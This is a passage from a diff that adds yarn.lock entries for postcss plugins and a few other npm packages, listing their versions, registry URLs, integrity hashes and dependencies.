+  integrity sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==
+
+postcss-double-position-gradients@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz#b96318fdb477be95997e86edd29c6e3557a49b91"
+  integrity sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-env-function@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/postcss-env-function/-/postcss-env-function-4.0.6.tgz#7b2d24c812f540ed6eda4c81f6090416722a8e7a"
+  integrity sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-flexbugs-fixes@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz#2028e145313074fc9abe276cb7ca14e5401eb49d"
+  integrity sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==
+
+postcss-focus-visible@^6.0.4:
+  version "6.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz#50c9ea9afa0ee657fb75635fabad25e18d76bf9e"
+  integrity sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+postcss-focus-within@^5.0.4:
+  version "5.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz#5b1d2ec603195f3344b716c0b75f61e44e8d2e20"
+  integrity sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+
+postcss-font-variant@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz#efd59b4b7ea8bb06127f2d031bfbb7f24d32fa66"
+  integrity sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==
+
+postcss-gap-properties@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz#f7e3cddcf73ee19e94ccf7cb77773f9560aa2fff"
+  integrity sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==
+
+postcss-image-set-function@^4.0.7:
+  version "4.0.7"
+  resolved "https://registry.yarnpkg.com/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz#08353bd756f1cbfb3b6e93182c7829879114481f"
+  integrity sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-import@^15.1.0:
+  version "15.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-import/-/postcss-import-15.1.0.tgz#41c64ed8cc0e23735a9698b3249ffdbf704adc70"
+  integrity sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==
+  dependencies:
+    postcss-value-parser "^4.0.0"
+    read-cache "^1.0.0"
+    resolve "^1.1.7"
+
+postcss-initial@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-initial/-/postcss-initial-4.0.1.tgz#529f735f72c5724a0fb30527df6fb7ac54d7de42"
+  integrity sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==
+
+postcss-js@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-js/-/postcss-js-4.0.1.tgz#61598186f3703bab052f1c4f7d805f3991bee9d2"
+  integrity sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==
+  dependencies:
+    camelcase-css "^2.0.1"
+
+postcss-lab-function@^4.2.1:
+  version "4.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz#6fe4c015102ff7cd27d1bd5385582f67ebdbdc98"
+  integrity sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==
+  dependencies:
+    "@csstools/postcss-progressive-custom-properties" "^1.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-load-config@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-load-config/-/postcss-load-config-4.0.2.tgz#7159dcf626118d33e299f485d6afe4aff7c4a3e3"
+  integrity sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==
+  dependencies:
+    lilconfig "^3.0.0"
+    yaml "^2.3.4"
+
+postcss-loader@^6.2.1:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-6.2.1.tgz#0895f7346b1702103d30fdc66e4d494a93c008ef"
+  integrity sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==
+  dependencies:
+    cosmiconfig "^7.0.0"
+    klona "^2.0.5"
+    semver "^7.3.5"
+
+postcss-logical@^5.0.4:
+  version "5.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-logical/-/postcss-logical-5.0.4.tgz#ec75b1ee54421acc04d5921576b7d8db6b0e6f73"
+  integrity sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==
+
+postcss-media-minmax@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz#7140bddec173e2d6d657edbd8554a55794e2a5b5"
+  integrity sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==
+
+postcss-merge-longhand@^5.1.7:
+  version "5.1.7"
+  resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz#24a1bdf402d9ef0e70f568f39bdc0344d568fb16"
+  integrity sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+    stylehacks "^5.1.1"
+
+postcss-merge-rules@^5.1.4:
+  version "5.1.4"
+  resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz#2f26fa5cacb75b1402e213789f6766ae5e40313c"
+  integrity sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+    cssnano-utils "^3.1.0"
+    postcss-selector-parser "^6.0.5"
+
+postcss-minify-font-values@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz#f1df0014a726083d260d3bd85d7385fb89d1f01b"
+  integrity sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-gradients@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz#f1fe1b4f498134a5068240c2f25d46fcd236ba2c"
+  integrity sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==
+  dependencies:
+    colord "^2.9.1"
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-params@^5.1.4:
+  version "5.1.4"
+  resolved "https://registry.yarnpkg.com/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz#c06a6c787128b3208b38c9364cfc40c8aa5d7352"
+  integrity sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==
+  dependencies:
+    browserslist "^4.21.4"
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-minify-selectors@^5.2.1:
+  version "5.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz#d4e7e6b46147b8117ea9325a915a801d5fe656c6"
+  integrity sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==
+  dependencies:
+    postcss-selector-parser "^6.0.5"
+
+postcss-modules-extract-imports@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz#b4497cb85a9c0c4b5aabeb759bb25e8d89f15002"
+  integrity sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==
+
+postcss-modules-local-by-default@^4.0.5:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.2.0.tgz#d150f43837831dae25e4085596e84f6f5d6ec368"
+  integrity sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==
+  dependencies:
+    icss-utils "^5.0.0"
+    postcss-selector-parser "^7.0.0"
+    postcss-value-parser "^4.1.0"
+
+postcss-modules-scope@^3.2.0:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz#1bbccddcb398f1d7a511e0a2d1d047718af4078c"
+  integrity sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==
+  dependencies:
+    postcss-selector-parser "^7.0.0"
+
+postcss-modules-values@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz#d7c5e7e68c3bb3c9b27cbf48ca0bb3ffb4602c9c"
+  integrity sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==
+  dependencies:
+    icss-utils "^5.0.0"
+
+postcss-nested@^6.2.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-nested/-/postcss-nested-6.2.0.tgz#4c2d22ab5f20b9cb61e2c5c5915950784d068131"
+  integrity sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==
+  dependencies:
+    postcss-selector-parser "^6.1.1"
+
+postcss-nesting@^10.2.0:
+  version "10.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-nesting/-/postcss-nesting-10.2.0.tgz#0b12ce0db8edfd2d8ae0aaf86427370b898890be"
+  integrity sha512-EwMkYchxiDiKUhlJGzWsD9b2zvq/r2SSubcRrgP+jujMXFzqvANLt16lJANC+5uZ6hjI7lpRmI6O8JIl+8l1KA==
+  dependencies:
+    "@csstools/selector-specificity" "^2.0.0"
+    postcss-selector-parser "^6.0.10"
+
+postcss-normalize-charset@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz#9302de0b29094b52c259e9b2cf8dc0879879f0ed"
+  integrity sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==
+
+postcss-normalize-display-values@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz#72abbae58081960e9edd7200fcf21ab8325c3da8"
+  integrity sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-positions@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz#ef97279d894087b59325b45c47f1e863daefbb92"
+  integrity sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-repeat-style@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz#e9eb96805204f4766df66fd09ed2e13545420fb2"
+  integrity sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-string@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz#411961169e07308c82c1f8c55f3e8a337757e228"
+  integrity sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-timing-functions@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz#d5614410f8f0b2388e9f240aa6011ba6f52dafbb"
+  integrity sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-unicode@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz#f67297fca3fea7f17e0d2caa40769afc487aa030"
+  integrity sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-url@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz#ed9d88ca82e21abef99f743457d3729a042adcdc"
+  integrity sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==
+  dependencies:
+    normalize-url "^6.0.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize-whitespace@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz#08a1a0d1ffa17a7cc6efe1e6c9da969cc4493cfa"
+  integrity sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-normalize@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-normalize/-/postcss-normalize-10.0.1.tgz#464692676b52792a06b06880a176279216540dd7"
+  integrity sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==
+  dependencies:
+    "@csstools/normalize.css" "*"
+    postcss-browser-comments "^4"
+    sanitize.css "*"
+
+postcss-opacity-percentage@^1.1.2:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz#5b89b35551a556e20c5d23eb5260fbfcf5245da6"
+  integrity sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==
+
+postcss-ordered-values@^5.1.3:
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz#b6fd2bd10f937b23d86bc829c69e7732ce76ea38"
+  integrity sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==
+  dependencies:
+    cssnano-utils "^3.1.0"
+    postcss-value-parser "^4.2.0"
+
+postcss-overflow-shorthand@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz#7ed6486fec44b76f0eab15aa4866cda5d55d893e"
+  integrity sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-page-break@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-page-break/-/postcss-page-break-3.0.4.tgz#7fbf741c233621622b68d435babfb70dd8c1ee5f"
+  integrity sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==
+
+postcss-place@^7.0.5:
+  version "7.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-place/-/postcss-place-7.0.5.tgz#95dbf85fd9656a3a6e60e832b5809914236986c4"
+  integrity sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-preset-env@^7.0.1:
+  version "7.8.3"
+  resolved "https://registry.yarnpkg.com/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz#2a50f5e612c3149cc7af75634e202a5b2ad4f1e2"
+  integrity sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==
+  dependencies:
+    "@csstools/postcss-cascade-layers" "^1.1.1"
+    "@csstools/postcss-color-function" "^1.1.1"
+    "@csstools/postcss-font-format-keywords" "^1.0.1"
+    "@csstools/postcss-hwb-function" "^1.0.2"
+    "@csstools/postcss-ic-unit" "^1.0.1"
+    "@csstools/postcss-is-pseudo-class" "^2.0.7"
+    "@csstools/postcss-nested-calc" "^1.0.0"
+    "@csstools/postcss-normalize-display-values" "^1.0.1"
+    "@csstools/postcss-oklab-function" "^1.1.1"
+    "@csstools/postcss-progressive-custom-properties" "^1.3.0"
+    "@csstools/postcss-stepped-value-functions" "^1.0.1"
+    "@csstools/postcss-text-decoration-shorthand" "^1.0.0"
+    "@csstools/postcss-trigonometric-functions" "^1.0.2"
+    "@csstools/postcss-unset-value" "^1.0.2"
+    autoprefixer "^10.4.13"
+    browserslist "^4.21.4"
+    css-blank-pseudo "^3.0.3"
+    css-has-pseudo "^3.0.4"
+    css-prefers-color-scheme "^6.0.3"
+    cssdb "^7.1.0"
+    postcss-attribute-case-insensitive "^5.0.2"
+    postcss-clamp "^4.1.0"
+    postcss-color-functional-notation "^4.2.4"
+    postcss-color-hex-alpha "^8.0.4"
+    postcss-color-rebeccapurple "^7.1.1"
+    postcss-custom-media "^8.0.2"
+    postcss-custom-properties "^12.1.10"
+    postcss-custom-selectors "^6.0.3"
+    postcss-dir-pseudo-class "^6.0.5"
+    postcss-double-position-gradients "^3.1.2"
+    postcss-env-function "^4.0.6"
+    postcss-focus-visible "^6.0.4"
+    postcss-focus-within "^5.0.4"
+    postcss-font-variant "^5.0.0"
+    postcss-gap-properties "^3.0.5"
+    postcss-image-set-function "^4.0.7"
+    postcss-initial "^4.0.1"
+    postcss-lab-function "^4.2.1"
+    postcss-logical "^5.0.4"
+    postcss-media-minmax "^5.0.0"
+    postcss-nesting "^10.2.0"
+    postcss-opacity-percentage "^1.1.2"
+    postcss-overflow-shorthand "^3.0.4"
+    postcss-page-break "^3.0.4"
+    postcss-place "^7.0.5"
+    postcss-pseudo-class-any-link "^7.1.6"
+    postcss-replace-overflow-wrap "^4.0.0"
+    postcss-selector-not "^6.0.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-pseudo-class-any-link@^7.1.6:
+  version "7.1.6"
+  resolved "https://registry.yarnpkg.com/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz#2693b221902da772c278def85a4d9a64b6e617ab"
+  integrity sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-reduce-initial@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz#798cd77b3e033eae7105c18c9d371d989e1382d6"
+  integrity sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+
+postcss-reduce-transforms@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz#333b70e7758b802f3dd0ddfe98bb1ccfef96b6e9"
+  integrity sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-replace-overflow-wrap@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz#d2df6bed10b477bf9c52fab28c568b4b29ca4319"
+  integrity sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==
+
+postcss-selector-not@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz#8f0a709bf7d4b45222793fc34409be407537556d"
+  integrity sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-selector-parser@^6.0.10, postcss-selector-parser@^6.0.4, postcss-selector-parser@^6.0.5, postcss-selector-parser@^6.0.9, postcss-selector-parser@^6.1.1, postcss-selector-parser@^6.1.2:
+  version "6.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz#27ecb41fb0e3b6ba7a1ec84fff347f734c7929de"
+  integrity sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
+postcss-selector-parser@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-selector-parser/-/postcss-selector-parser-7.0.0.tgz#41bd8b56f177c093ca49435f65731befe25d6b9c"
+  integrity sha512-9RbEr1Y7FFfptd/1eEdntyjMwLeghW1bHX9GWjXo19vx4ytPQhANltvVxDggzJl7mnWM+dX28kb6cyS/4iQjlQ==
+  dependencies:
+    cssesc "^3.0.0"
+    util-deprecate "^1.0.2"
+
+postcss-svgo@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-svgo/-/postcss-svgo-5.1.0.tgz#0a317400ced789f233a28826e77523f15857d80d"
+  integrity sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+    svgo "^2.7.0"
+
+postcss-unique-selectors@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz#a9f273d1eacd09e9aa6088f4b0507b18b1b541b6"
+  integrity sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==
+  dependencies:
+    postcss-selector-parser "^6.0.5"
+
+postcss-value-parser@^4.0.0, postcss-value-parser@^4.1.0, postcss-value-parser@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz#723c09920836ba6d3e5af019f92bc0971c02e514"
+  integrity sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==
+
+postcss@^7.0.35:
+  version "7.0.39"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.39.tgz#9624375d965630e2e1f2c02a935c82a59cb48309"
+  integrity sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==
+  dependencies:
+    picocolors "^0.2.1"
+    source-map "^0.6.1"
+
+postcss@^8.3.5, postcss@^8.4.33, postcss@^8.4.4, postcss@^8.4.47:
+  version "8.4.49"
+  resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.4.49.tgz#4ea479048ab059ab3ae61d082190fabfd994fe19"
+  integrity sha512-OCVPnIObs4N29kxTjzLfUryOkvZEq+pf8jTF0lg8E7uETuWHA+v7j3c/xJmiqpX450191LlmZfUKkXxkTry7nA==
+  dependencies:
+    nanoid "^3.3.7"
+    picocolors "^1.1.1"
+    source-map-js "^1.2.1"
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+prelude-ls@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
+  integrity sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==
+
+pretty-bytes@^5.3.0, pretty-bytes@^5.4.1:
+  version "5.6.0"
+  resolved "https://registry.yarnpkg.com/pretty-bytes/-/pretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
